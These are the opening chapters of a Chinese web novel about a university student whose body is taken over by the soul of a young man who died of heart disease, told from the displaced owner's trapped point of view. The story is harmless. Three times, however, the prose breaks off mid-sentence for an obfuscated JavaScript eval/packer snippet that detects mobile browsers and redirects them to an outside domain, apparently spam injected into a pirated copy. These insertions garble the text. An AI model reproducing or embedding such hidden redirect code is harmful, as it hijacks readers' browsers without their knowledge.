《被穿后大家都爱他》 1. 第一章 “季恒,七点半了啊,厨房里给你下了面,快起来吃!” 中年女人清亮的声音传来,伴随着咚咚咚的敲门声,一下子把季恒从睡梦中吵醒,熬夜过后没睡饱的恼怒涌上心头。 “我不要!”他闭着眼睛大声道,“都说了我不吃早餐,也不爱吃面,你就别叫我起来了。” 话虽如此,他其实已经清醒了。 自从放寒假后,除了前一个星期还在老妈的宝贝期,想怎么懒就怎么懒,想吃啥给买啥做啥,后面就没有这么好的待遇了。 再怎么抗议也没用,老妈每天八点上班,七点半出门前准会把他叫醒。早餐都做好了,他要是不吃,那是想吃鸡毛掸子了。 问题是他想自己出去吃也不行,偏说外面东西不健康又浪费钱,天天早上在家换着法的煮面吃。 有剩菜就配点剩菜,没剩菜就打个荷包蛋放两根小白菜,神仙才吃不腻吧! 不对,他妈就是那个神仙。 季恒满腹怨气,只想窝在被子里再赖一会。 昨晚他打排位时掉分太厉害,一时上头,打到了五点钟才睡觉,现在睡眠不足的程度厉害到脑袋都快裂开了。 问题是还不敢叫老妈看出来,不然又是一通数落。 ——老妈一定是要看着他开了卧室房门证明已经被叫起来了才出门的。 不用想都知道老妈的下一句话是:“下都下好了,你不吃还能倒了吗?拿着粮食不当粮食?快起来!” 耳朵都听出茧子了。 昏昏沉沉间,季恒感觉身体坐了起来,呆愣了一会儿。 随后双手往自己身上抚摸着,从大腿摸到手臂,最后久久停留在胸口,按在心脏处。 ……等等,他坐起来了? 他没有吧? 季恒猛地清醒过来,睁开眼睛。 实际上不用他睁开,眼睛本来就是睁开的状态,映入眼帘的是紧紧按在心口处的右手,手上还有着睡觉时压出来的印痕。 熬夜过后的心脏紧锣密鼓地跳动着,连带着呼吸都不太顺畅,整个人状态实在称不上好。 昨天的确是熬狠了,不对,不是这个问题! 他明明在躺着,他没想起来,他没想动的! 身体为什么自己动了起来?! “老妈!”季恒惊慌大喊道。 他还能听见自己的声音,感受到身体和状态,可他一点都控制不了自己的身体了。 像隔着一层厚厚的玻璃,他想着抬起手臂,在他的意识里自己确实“抬起”了,事实却是身体一动不动。 熟悉的声音从门外传来,敲门声更响了些:“季恒,你是不是又熬夜打游戏了,叫都叫不醒了,起来吃了早餐再睡!” “老妈!我醒来了,我好像中邪了!”季恒喊道。 他感觉自己要被吓得心脏都跳出来了,实际上,身体的心脏还是维持着那种不太健康的频率跳动着,并没有因为他的情绪变得更激烈。 出现了两重感官。 这时,他听见自己的声音:“……我马上就起来了!” 有点陌生的声音。 带着丁点惊慌的情绪,但和季恒平时的咬字发音完全不同。 同样是普通话,现在的声音说出来就是给人感觉语气更跳跃点,更阳光点,有着藏不住的开心。 几乎叫季恒快认不出来那是自己的声音了。 “你先起来开个门,别我一走你又睡大头觉了。”门外声音得到回应,恢复了平时说话的声调。 季恒的身体就这么自己动了起来,不,或者说,是另一个用着他身体的人让身体动了起来,如同他以往使用自己的身体那样。 掀开被子,下床,穿拖鞋时还因为他老妈一针一线织出来的毛线拖鞋底子太厚重踉跄了一下。 走路的动作莫名透着股谨慎小心,先是平常走了两步,然后猛地朝上跳了一下,拖鞋落在地上发出重响。 身体下意识捂住心口,随后又忍不住无声地大大笑起来——季恒能感觉到嘴角高高提起,憋笑憋得肌肉发颤。 很快,身体收拾好了表情,从里面反锁住的卧室房门拉开,露出守在门口的中年女人。 在他视角下能看到头顶的个子。 一头很常见的头发——染成红色但很久没有补染,上半截夹着缕缕白发的黑色,下半截褪色成没什么光泽的黄色——等到年前的时候,会趁着理发店涨价前全染一次,做个发型,这样走人家时才不显得丢脸。 脸有点圆,一看就是个爽朗人的五官。眼角几道纹路,说话时会随着表情像鱼尾那样或深或浅地变化。 再往下是微胖但在体型下依旧显得窄小的肩膀,身上穿着专门用来上班的旧衣服。 季恒的身体在不着痕迹打量着这个他最熟悉的女人,异样的视角几乎叫他升起一种恶心感。 这是他妈!看了二十年的妈!闭着眼睛他都知道他妈长什么样,听到楼梯脚步声就能分清是不是他老妈的! 他什么时候用这种看陌生人的眼神看过他妈了! 视线里,他妈仰起头——从他初中开始发育长高后,妈妈就逐渐是这个动作和他说话了——皱起了眉头: “怎么看着这么蔫,身体不舒服?” “……没有,”身体试探地拿捏着语气,“就是熬夜了,还没睡饱。” “都说了少玩手机,少打你那游戏,高中时就爱玩,没收过你手机几次了,要不是我盯得紧,你以为你还能考上现在这大学,有个大专读都不错了。再玩下去眼睛心脏都得出问题,以后你就知道后悔了……” 鲁向萍嘴巴跟机关枪一样,说起来就没完没了。 但是见儿子一反常态没有不耐烦的顶嘴,反而乖巧的听着,乖巧到有点局促了,心里一堆话倒是止住了。 “不吃东西更难受,你快点吃完再睡一觉。今天晚上别熬了啊,再熬就别怪我骂你了,这么大的人了,挨骂也丢脸。” 说完,她拿出手机看了眼时间,边说着“我快来不及了先走了”边急冲冲往客厅走。 风风火火地拿了电动车钥匙,还留下句: “冰箱里的冻猪脚你记得下午拿出来解冻,洗衣机洗了衣服,洗完了晾好,睡饱了没事干把你那些鞋好好洗一下,今天有大太阳!” 季恒和他身体就看着鲁向萍从客厅出去到走廊上,一连串下楼的脚步声后,是下面电动车启动骑走的声音。 身体有点呆愣,似乎没见过这阵仗。 随后小心翼翼迈开几步,把陌生的家大概看了一遍,确认家里再没有人后,才重新回到季恒的卧室,对着靠墙一面更衣镜照着。 季恒仿佛通过这样的方式与这个占了他身体的鬼达成了一次对视。 然而,这只是种错觉。 镜中的人除了身体是季恒的之外,神态动作已经和季恒没有任何关系了。 季恒的慌张、恐惧、惊异,也没有丝毫体现在身体上,更没有从被称为灵魂之窗的眼睛泄露出丁点。 这具身体,彻彻底底属于别人了。 “没想到我还能再活一次。”身体对着镜子中的自己湿了眼眶,“你也是二十岁,我也是。我从出生就有先天心脏病,父母不敢爱我,我一直在接受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399661|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治疗,但还是没挺过来,你又是怎么去世的呢?因为熬夜打游戏吗?我能感觉到,这是颗健康的心脏,只是它还需要休息一会缓缓。” 季恒几乎以为他在和自己对话了。 身体有些失神:“对不起,虽然很为你伤心,但是我很开心。我太开心了。我能活下去了,我能健康地活下去了……你不用担心,我会照顾好你的家人,至少我来了,比你死了还是会好点的……” 季恒都快气笑了,“你说谁死了?!不是哥们,我要是死了你过来就是一具尸体了,那也只会飘着两只鬼,怎么可能有个活人!你说什么屁话呢,赶紧从我身体里滚出去!” 只可惜,他的愤怒轻飘飘落在了地上。 被他死死盯着的镜中的脸,神情没有丝毫改变。 和老妈听不见他的声音一样,这个占了他身体的鬼也听不见他说话。 身体还在说:“我以前叫夏杨,是爷爷给我取的,他希望我能有像杨树一样坚韧不拔的生命力,他很疼爱我,可惜他在我小时候就去世了,之后,就没人对我有期待了。 “你不一样,你是个被爱的孩子。” 身体露出一个苦涩的饱含歉意的笑:“对不起。 “从今以后,我就是‘季恒’了,我会当好‘季恒’的。” 季恒挠了把头发,原本激烈的情绪渐渐消退——毕竟这家伙也不是故意来抢他身体的,听起来还过得很不好的样子,都病死了,搞得他也不知道说啥了——可他身体被占了啊! 不怪夏杨难道怪他昨晚不该熬夜打排位? 可谁知道打个游戏顶多是熬晚了点能碰到这种事啊! 他长了二十年看过那么多小说从小到大做的变身梦奇幻冒险梦修仙梦加起来一箩筐,却从来没遇到过超现实事件,结果一来就是这么大的坑! 季恒的抓狂除了他自己无人知晓。 立志要代替季恒活下去的夏杨没有抓紧时间在家里寻找线索。 而是到厕所里的洗脸台从只有两套的洗漱用品里拿下干的那套确认是自己的,刷牙洗脸后,把放在客厅餐桌上已经变凉一些的白菜鸡蛋面条吃完。 洗完碗,才开始确认“自己”的情况。 ——季恒唯一值得欣慰的是,还好夏杨没获得他的记忆,先不说他才不愿意把自己的隐私敞开给陌生人看,这样还很方便夏杨彻底取代掉他。 夏杨拿起了在床头充电的手机,屏幕亮起,上头显示的时间是七点三十五。 季恒已经见怪不怪了,老妈叫他那会绝对没有七点半,这还是夸大比较少的了。 他高中放假时叫他起床,那都是一个小时往上浮的。 ——密码锁没拦住夏杨,他用指纹解开了。 早知道就该买没有指纹解锁的手机! 夏杨先点开通讯类软件挨个看了看。 从基本是老妈、快递、推销电话的通话记录。 百分之五十是验证码、百分之三十是快递到达存放通知、百分之二十是各类广告的短信记录。 到各种游戏群二次元动漫群网友聊天群、和另一边的班级群同学小群室友群亲友约游戏加抱怨下假期生活不自由的两个线上通讯软件的记录。 季恒自觉没有说什么见不得人的东西,但还是有种把夏杨按着打一顿的冲动。 看完这些,夏杨没再点开那些游戏软件视频软件,放下手机。 在又洗漱一遍之后,夏杨关上家里的门,开始补觉。 季恒:“……” 生气太多,熬夜后的脑袋好痛。 算了,事已至此,先睡觉吧。 2. 第二章 季恒是被夏杨吵醒的。 他倒是还犯困,能再睡几个小时,但大概没有人能在身体到处活动时继续睡觉的。 那感觉很奇妙,像是躺在床上套在被子里,只是这格外契合身体的床和被子突然站了起来,带着自己的四肢和脑袋不停动来动去。 夏杨在做老妈出门上班前安排下来的家务。 季恒自认为自己已经不算是会做家务了。 父亲常年在外工作,只有过年时回来。经常念叨他的老妈挺疼他的,对他做家务的态度是又使唤又嫌弃。 久而久之,老妈就宁可自己一手包办了。 落在他这里就这些简单的活,以及需要搬东西时充当下苦力。 但夏杨更不会做家务。 凭借看动漫的经验,这位心脏病患者过去的生活应当是像个玻璃娃娃一样,不能跑跳,不能情绪过于激烈,否则一不小心就会发病。 而且,能一直治疗到二十岁,家庭条件应该还挺好的吧?放普通家庭,早在小时候就治不起病了。 他看着夏杨生疏的把洗衣机里一件件冬天的厚衣服拿出来,照着手机搜到的教程一板一眼地拎着肩膀位置用力甩平没有褶皱,才晾到衣架上。 一开始还不敢用力,轻飘飘的,但衣服不轻,不得不用力后,就渐渐适应过来了。 脸上也不自觉挂上了开心的笑容。 晾完衣服,就是吃午饭。 老妈早上煮面时会炒个小菜,给季恒中午吃,刚好够一餐,晚上再重新做。 夏杨照着教程煮完饭,水放多了,煮得软趴趴的,就这样也很开心。 菜就在厨房的台子上,这种天气都用不着往冰箱放,坏不了。 拿微波炉一热,直接把饭装在菜碗里,一碗拌饭就完成了——这是季恒的吃法。 夏杨吃得很规矩,菜是菜饭是饭,一口菜一口饭。 还错估了饭量,煮少了,饭吃完了菜还剩一小半,肚子里也没饱。 想了会,笑着把菜空口吃完了。 季恒都不知道他在乐什么。 身体的感官他依然享有,只是操控不了。 软趴趴水汪汪的饭活像在嚼粥,吃到后面冷了的菜就更别说了,冬天吃东西不快点,后面就没法吃了。 糟心的早上之后是糟心的一顿午饭。 夏杨却是活力满满。 吃完饭,洗完碗,就去洗鞋。 多亏了老妈从小到大揪着耳朵管个人卫生,又不怎么爱运动,季恒的鞋报废速度不快,也没有脚臭。 只是从学校穿回家,多少弄脏了些。 摆在鞋柜上,就这一双看着邋里邋遢的,可不就让他妈特别看不顺眼了。 而且他过年还打算穿着出去拜年呢,要是不提醒他洗了,他到时候大概随便擦两下就继续穿了。 季恒是觉得洗不洗都行,老妈多唠叨两句等他受不了了就洗呗。主要是懒得动,嫌麻烦。 夏杨也很快找出了目标,不仅如此,他把鞋柜上所有鞋都拿出来了。 网上一点点搜,看能不能洗,怎么洗,洗了怎么晾干。 在确认家里都有毛线拖鞋穿之后,把这些外出的鞋子全洗了。 那摆在厕所瓷砖上的一大堆,看得季恒目瞪口呆。 洗完鞋子排排晒好,夏杨还没安分下来。 他在一看就是父母的卧室门口站了会,没进去,回到自己卧室,把堆在凳子上显然穿过一两次的衣服和床上用品全拿去洗了。 看时间差不多了,把猪脚拿出来解冻。 等待洗衣服的间隙,还无师自通了厕所里的水桶是拿来储存漂洗衣服的废水的,于是直接拿洗衣机排出的水把家里地都拖了一遍,剩下的继续接满桶子。 夏杨一开始的确不会做家务,什么都是现学的。 但和季恒的粗心大意只求速速完成不同,夏杨细致用心,学的那些家务小技巧季恒听都没听过。 加上人还挺聪明,不是个家务苦手类型的,上手过一遍后就会了,又不嫌弃做家务无聊,倒是比季恒做得好多了。 至少是在他妈那里不会被骂说“做了跟没做一样”的了。 这一通家务折腾完,猪脚还没完全解冻。 季恒有感觉被卷到,心想这总该休息了吧。 夏杨不,他理了下家里现有的调料和食材,准备做红烧猪脚。 猪脚是前几天买的,本来打算炖来吃,但老妈那天加班,没时间弄,就冻在冰箱里了。 季恒一开始觉得夏杨是在自找麻烦,但看着自己身体慢吞吞地处理起来,才发现这并不是一件难事。 只要细心一点,别自己乱发挥,初次下厨的人也能跟着教程做出一份色香味俱全的菜——可能没有那么好,但作为家常菜已经完全足够了。 红烧猪脚温在锅里,夏杨煮好晚上的饭,这回水放的差不多了,又去把干了的衣服鞋子全部收好。 楼下传来电动车的声响。 夏杨有些慌张地想再找点活干,以此遮掩自己要面对一个陌生母亲的无措,可最后还是站在走廊上,看着鲁向萍的身影随着愈来愈近的脚步声出现在楼梯口。 他张了张嘴,却没发出声音。 鲁向萍奇怪地看了他一眼,表情里有着疲惫的痕迹,一手提着青菜,另一只手按上夏杨额头,又往自己额头上贴了下。 “没发烧啊,怎么奇奇怪怪的,哪里不舒服?” 季恒已习惯他妈这种测体温的方法,可被隔绝了近一天,无论再怎么给自己插科打诨满腔吐槽也不能掩盖的害怕,在感受到的熟悉体温和掌心粗糙触感下,瞬间决堤。 “老妈!”他带了哭腔,“这不是我啊!” 可季恒的身体属于夏杨了。 夏杨听不见季恒的委屈哭诉,他不太适应这样粗鲁直白的关怀,眼神却一点点亮了起来。 这回,他说出口了,出乎意料的顺畅。 “妈,我身体好着呢。” 鲁向萍没好气地拍了把夏杨的背:“臭小子,从初中就一口一个老妈的叫,现在把我叫老了,又改称呼了是吧?” “因为妈妈不老。”夏杨语气非常恳切,“我会孝顺妈妈的,让妈妈以后都过得开开心心。” 鲁向萍不自在地扭开脸,“怎么这么肉麻了……是不是捅什么篓子了?” 说着,她往家里走,入目是一个像是搞过大扫除的家,地板拖的特别干净,鞋子全都洗过了,阳台上还有没晒干的床单晾着,红烧猪脚的香味从厨房飘过来。 一切都井井有条,不需要上班一天后下班回家的她再煮饭做菜打扫卫生收拾家务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399662|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 鲁向萍有点慌了,“老实交代,你到底犯什么事了?” 季恒一口气梗在心里:虽然这些活却是不是他干的,但“他”勤劳一次就这么吓人吗! ……好吧,确实吓人。 他不是不干活,就跟驴拉磨一样,踹一脚走一下。 要想让他这么干,得给他输入相应指令,他才会在玩手机的间隙来执行任务,成果如何也不太好说。 这不就显得夏杨比他顶事多了吗? 夏杨有点被逗笑了,“真没犯事,我就是……”他语气低落了点,“做了个梦,感觉我都这么大人了,该替你分担一些了。” “别想那么多,天塌下来有我顶着。你还在读书呢,说什么分担的,等以后上班了有的是你孝顺我的功夫。”鲁向萍顿了顿,“不过勤快点也没坏处,你干点家务总比捧着手机打游戏好。” 她的满意肉眼可见,尤其是发现卫生搞得干净,什么拐角啊门后啊都没忽略掉,完全不需要她来查漏补缺后。 季恒心里又有点发酸了。 这小子说话酸得不行,不过没他会撒娇。要是他干了这么多活,早就在他妈回来时抱着他妈胳膊一顿嘚瑟了。 都这么明显了,他妈居然还没发现吗? 也是,谁会平白无故想到一个人性格变化是因为被穿越了。 他心情好跟心情差时都是两张脸呢。 但季恒相信,他妈肯定会发现的。 至于发现之后该怎么办,他还能不能重新掌控身体,季恒不愿意想。 他只希望别被夏杨彻底取代掉,至少人家要知道就算是同一个身体,这也不是季恒。 ……不然他活的这么多年算什么。 晚餐吃得其乐融融。 鲁向萍把青菜炒了做水菜,一荤一素一干一水。 红烧猪脚量挺大,盛出来两大海碗,够吃到明天晚上了。 至于青菜,则是刚好一餐的份量,他们家青菜不吃过夜菜,那些故意留下一小把没炒的青菜,就是拿着第二天早上下面吃的。 以前鲁向萍还会给季恒留第二天中午份量的青菜,结果发现懒儿子只会可着炒好的菜吃,压根不爱自己动。 就干脆只留一个干菜,让季恒自己拌饭吃,晚上再多吃点青菜,也算是补回来了。 这些事她虽然做习惯了,可也是会累的。 就这一个孩子,还自己一手养大的,鲁向萍知道自己性格强势,难免管多了些,又疼着宠着,儿子就养成了一个懒惰不上进的温吞性子。 但不勤奋归不勤奋,贴心却是贴心的。 现在终于懂事点儿了。 鲁向萍不想追根究底什么梦让儿子变化这么大,她只想好好歇歇,喘口气。 “这菜做得挺好,下次炖猪脚,记得多放点水,拿高压锅压久点,会更加软烂。不过现在也不差,热菜的时候拿锅加点水再炖会,也是一样的。” 母子俩在餐桌上相对而坐。 夏杨啃着鲁向萍特意夹给他的那块,肉多,不肥,中间夹着块瘦肉。 而鲁向萍自己在啃那些皮肉薄薄的蹄尖和哪怕是猪脚也看上去肥得有些腻人的肉。 季恒感到身体的眼眶蓄起一点热意。 他听见夏杨说:“妈,以后家里我来做饭吧。” 3. 第三章 季恒的日子总是很闲。 上课时,他能每天玩几个小时的手机和电脑,不上课时,能达到十个多小时,日夜颠倒也是常事。 放假在家,除了吃饭睡觉做那点点家务的时间,全是空闲。 但夏杨就跟他老妈一样,永远眼里有活。 电脑比手机更好用,夏杨从手机大致了解完身体主人的信息后,很快就将这个季恒爱不释手的电子产品冷落下来,转而长时间使用电脑。 不是打游戏,也不是刷视频,更不是看小说,而是上课。 是的。 上课。 天知道季恒看到那些自己专业大一开始的公开课和部分老师自制的课程出现在屏幕上,念着自己已经半生不熟的内容时,脑壳有多疼。 寒假这么短,为什么他在家还要上课啊! ……因为夏杨要上课。 夏杨跟他同龄,心脏病人的话,应该是没法正常上学读书的吧。 就算可以免掉体育课,学校里的磕磕撞撞吵吵闹闹,也绝不是一个适合心脏病人的环境。 尤其夏杨还是属于比较严重那种,听说现在很多心脏病小时候就能治了,夏杨一看家里就挺有钱,结果不但没治好,还二十岁就死了。 所以,季恒猜,夏杨大概是电视剧里那种家庭教师授课学习的类型。 季恒今年大二,寒假之后开学就是下学期了,在一所外地的一本大学读书,专业是教育学。 他个人对理科不太感兴趣,高中费了不知道多少精力在理科上,才在高考拿到这个还算不错的成绩。 因此,大学选专业时,那些什么计算机软件的首先就被他排除了。 再有一大部分被他妈排除掉后,能选的虽然还挺多,但看着都怪冷门的,听都没听说过,不像他这种普通家庭孩子能读的。 又不好意思去求助关系不算亲近的亲戚们,就自己进行讨论。 他妈愿望很简单,希望他以后好找工作,捧个铁饭碗。 教育学就入了他妈的眼了。 他对这些也不太清楚,琢磨着也行吧。 当老师挺好,寒暑假那么长呢,就是要管人烦了点,但他学生生涯又不是没见过只上课不管学生的老师。 结果读了才发现这是个天坑。 想考教师编,人家要专业对口的。 像是他想当语文老师的话,那他不应该读教育学,应该去读汉语言文学专业。 学长学姐里考研的特别多,但季恒是没有考研这个打算的。 他虽然不清楚自己家具体经济情况,可从小到大家里有没有钱还是知道的。 考研对他来说不是增加竞争力,而是多啃几年老,他需要的是毕业后就工作赚钱。 不少同学都打算死磕考公了。 但算算考公那个录取率,一堆人想拿这个铁饭碗的竞争激烈程度,季恒只觉得一片黑暗。 要不是转专业很难,他也没这个能耐,季恒真想放弃自己目前这个专业了。 这些话,他也不敢给老妈说。 老妈没读过什么书,对大学生活没概念。 要是他才大二就让老妈知道前途无亮,接下来几年的大学生活就别想清净了,能把老妈焦虑死。 种种debuff下,学了好像也没啥用,季恒难免在学业上倦怠下来。 不过他还是没和室友那样嚣张逃课让人代点到,课他都好好上了,课后虽然没花什么精力,也把成绩维持在中等稍微偏上,至少不会有哪门不及格需要补考的。 要知道,第一次考出对他来说算低的分数时,他回宿舍就气得把卷子撕了,一个人躲在厕所里哭,不敢相信自己怎么能变成这样。 后面就习惯了。 又不是真的有多差,没及格的那么多呢,他这不挺好的。 现在看到夏杨如此有计划性的、自律的为开学后做准备,被迫跟着一起复习的滋味,真是难以描述。 季恒并不能与身体共享思想。 说来也很奇妙,思想是在大脑中进行的,大脑是身体的一部分。 那季恒理应能共享夏杨的思维,可事实并非如此。 他只是感觉到夏杨很专注,一点都没有他走神时那些玩笔、发呆、打瞌睡的表现。 夏杨先听了一段,讲的是比较基础的东西,本来就是大一给新生听的课程,让人入门的。 然后就开始开1.25倍速听了。 他的书没带回来——带回来也不会看,拖来拖去还重得不行——都放在寝室里。 夏杨手头没有书,拿了个空白本子做笔记,字迹很漂亮,是那种练过书法的漂亮。 季恒猜他练的是行楷——刷到过类似写字的视频。 这些东西半熟不熟的,听得季恒头昏脑涨,比吃了褪黑素还管用,眼皮子马上就黏上胶水了。 但身体的状态又使得他即使“趴下去”睡觉,也还有一重感官正襟危坐着认真听课,导致他想睡也睡不着,饱受折磨。 看夏杨放倍速的样子,季恒以为他只是想把课程过一遍有点印象。 毕竟谁这么听一遍就能学会啊。 然后等看完两节课后,夏杨就去照着网页上搜出的卷子做题目了。 只错了几道。 夏杨把这几道在本子上记了一下,显然是不会再错了。 季恒给整精神了。 他在脑中也做了一遍这些很基础的题目,有些知识点模糊了,错了一道。 他赢了夏杨,但没什么可骄傲的,因为他第一次考试的分数没有夏杨现在这份卷子算出来的高。 这算什么? 天才死后重生在我身体里走上人生巅峰? 季恒不是没见过“天才”。 他有个同学就非常典型,在学校上课听课,放学了打球、早恋、打游戏、看小说。 不是装着闲私底下学习,那是真的在玩,经常跟不同同学玩,生活可丰富了。 就这样,成绩常年年级前五。 是老师那句“你家孩子不是不聪明只是不认真”的现实版写照。 轻松到令人绝望。 这种,对于只是稍微有点读书天赋靠持之以恒的努力能考上一本的季恒来说,已经可以称作“天才”了。 可这只是他的同学,没有出现在他的身体里,把他这个原主人挤得像个不存在的幽灵,对比成一个不学无术的懒鬼。 夏杨还在上课。 他每一个小时会休息十分钟,每两节课会做题确认自己对知识点的掌控力。只抓紧主要的科目,那些次要的简单过一遍,先放在一边。 一天除了做家务炒菜,夏杨花在学习上的时间起码十二个小时。 就这样,他还能保证晚上十点半按时睡觉,早上六点半起床出门晨跑,顺便拿着买菜钱到菜市场买好新鲜的菜,回来做好早餐,也不用老妈给备上午餐的菜,他自己能做。 生活自律到令人发指。 他很会说话,有种让人心生好感的真诚气质。 买过两次菜的摊贩会主动给他推荐今天哪些菜比较好,适合做什么菜,随手搭送一些小菜也是常事。 季恒也买过菜,连根葱都没被送过。 因为他沉默寡言,不知道说什么,也拉不下脸皮像其他人那样自来熟的说都买这些了搭点葱姜呗。 买肉还经常被坑,分不清前腿肉后腿肉哪个好,老板还爱在他划的范围外多切。 为什么这些事,夏杨都不会遇到? 不,夏杨也遇到了。 但他买到外面看着新鲜里面藏着烂的菜后,会去找摊贩退钱或者更换,摊贩不想影响到其他顾客,都会给他换掉。 被故意多给了肉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16399663|184334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏杨会说只要他说的那些,要么按他的重新切,要么他不买了。 夏杨性子硬点,这些生活里的小麻烦就软了。 他是一个和季恒不同、不会选择忍气吞声算了算了的处理方法的人。 还是一个自律程度拿出来会被网友评论“狠人”的人。 季恒不相信夏杨能这么轻易喜欢上自己的专业,所以,只是为了跟上身体的学业进度,夏杨就能做到每天长时间全神贯注的学习。 一开始,季恒还有较劲的心思。 他也跟着上课,他不相信自己复习的进度还能比夏杨一个初学者差。 但第一天季恒就没坚持过去。 他懒散有段时间了,又觉得是在放假,本来就该好好玩。 偏偏对课程内容要熟不熟,听着也容易觉得这是他会的知识点而感到不耐烦。 结果才过了两节课,就硬是顶着这种诡异的状态睡着了。 等他一觉睡醒,夏杨已经在厨房做晚饭了。 这之后,季恒又试了两次,欣喜的发现他开发了新的睡眠模式,好像能在这种状态获得一点自主权了,就彻底放弃了复习。 夏杨开始上课,他就准点睡觉。 鲁向萍对夏杨认真学习的事非常欣慰,在家长眼里,似乎只要捧着本书坐在书桌前就自带了一层不能干扰得小心对待的神秘结界,更别说夏杨是真的在好好上课了。 她俩的交流依旧不多,鲁向萍早出晚归,也就早晚两顿饭坐一起时能聊聊。 鲁向萍干巴巴问两句夏杨的学习情况,夸几句夏杨最近的生活状态,关心下夏杨的身体健康——别累病了。 夏杨则会问问鲁向萍的工作内容——鲁向萍在一家电子厂做流水线工人,已经做了有两年了,之前在别的厂做事,要是这家厂没活干了,就又会换厂。 鲁向萍对自己工作没什么好说的,顶多提两句其他工人和管理的八卦,然后延伸到夏杨以后要有一门技术——当老师也是门技术——总归不能像她一样,不会手艺,就只能干这种谁都能干的活。 季恒不喜欢这样的对话,期望是一种压迫,尤其是在他知道自己未来很有可能当不成老师也不知道该从事什么工作时。 所以他妈一这样老调重弹,他就会把话题扯开,或者不说话猛吃饭。 但夏杨会认真的跟他妈讨论,说会努力的,可要是有更好的工作他也会选择更自由的生活,他会照顾好自己,也会照顾好妈,不用担心。 季恒眼看着他妈脾气是越来越温和了,还经常买一些舍不得买的不便宜水果回来给夏杨吃,而不是那种坏了一部分他看了就嫌弃的水果。 不管做什么还是不做什么,时间总是过得飞快。 眨眼间,就到了年前。 鲁向萍的厂子放假了,踩着理发店还没涨价的尾巴去把头发又重新染了个光鲜亮丽的红色,烫了满脑袋的小卷。 不仅如此,还大手笔的把夏杨一块带去理发店,不是25块钱的洗剪吹,而是268的锡纸烫。 季恒还以为夏杨这种好学生不会喜欢这样的发型。 但夏杨挺高兴的。他好像喜欢一切新鲜事物。 烫完后,本就个子高大五官端正,最近作息又好皮肤状态挺好,被店里阿姨夸了好一会。 一口一个帅哥,夸得鲁向萍都忍不住笑了,就着季恒这么多年没谈过恋爱的事唠嗑起来。 季恒已经对他妈认出他这件事不抱希望了——儿子突然变乖变懂事知道上进而不是只会好吃懒做嘴甜哄人了,难道不是值得庆祝的好事吗? 现在“看”身体活动,就跟看电影一样。 除了这个,就只有睡觉了,他也没其他事可以干了。 他也不说话了。 自言自语没人接,有时还显得他像在努力插入别人话题被无视的透明人,很尴尬的。 4. 第四章 “男孩子,有时候一下就成熟懂事了,我家这个以前不喊能睡到十二点起来吃午饭,现在天天给我做早餐。” “你这养的好啊,谁家这么早就能享到儿子福气的。 “我上回还碰见他在跑步,小伙子真精神,还跟我打招呼呢,现在性格也没那么怕羞了。 “男孩子还是要外向点才在社会上吃得开,太内向了要挨欺负的。” “是啊,我以前也发愁呢,不爱说话还不太会说话,一点都不喜欢跟人打交道,就知道玩手机,以后可怎么办,现在总算是开窍了。” “你就放心吧,再过几年,就不用这么辛苦了,不过得劝他早点谈恋爱结婚,孩子还是早点生比较好。” “这个就看他自己了,我不干涉他这些事的。你家那口子是不是从乡下回来了,院子里又拴上狗了。” “前天回来的,就舍不得他那条狗,走到哪带到哪……你家那口子呢,也该回来了吧?” “不好说,说店里生意好得很,老板都没回家过年,员工也都给留下了。” “再不放假,这也买不着票回来了,真要是不回来的话,过年加班,工资总得开高点吧?” “我也这么说,看他怎么想的吧,不回来我还清净了……” 与邻居在楼下院子里聊着天的鲁向萍听见楼上的关门声和脚步声,一抬头,正见儿子的身影出现在走廊上。 “钥匙拿上没?”她扬声问。 “拿上了。”夏杨回答。 “成,”鲁向萍转而对邻居说:“回头再聊,带他买年货去,一年也就几个月放假在家,这个苦力可不好抓。” 邻居“哈哈哈”的笑了,“那可得让他多搬点,小伙子年轻气壮的,不用白不用。对了,要是看见啥好东西,记得给我打电话,我要是缺的话,你正好顺便给我带回来了。” “行,我这都办的比较晚了,有好的肯定给你说。” 鲁向萍带着夏杨往外走,与平常走在中间不同,今天特意走得偏了些,远离拴着狗那块。 夏杨看出来,不动声色走在里头,当了人肉墙。 那是条黄色的土狗,体型中等,被一根约有一米五的铁链子拴在脖子上,虎视眈眈盯着院子里的“陌生人”,嘴里发出咕噜的低吼声。 被刚刚聊天的邻居回家时顺手一摸,就又平静下来,绕着邻居打转,牵动着链子哗啦作响。 离开家有段路,鲁向萍才小声抱怨道:“也不知道她家怎么老爱养条狗,又不养好,主人一不在家就凶得很,还把链子放那么长,跟她提了两次也不当回事,我看迟早得把人咬了。” “确实不太好,”夏杨说,“我去直接跟阿姨说说?要不就让她家在家门口围一块,让狗出不来。” 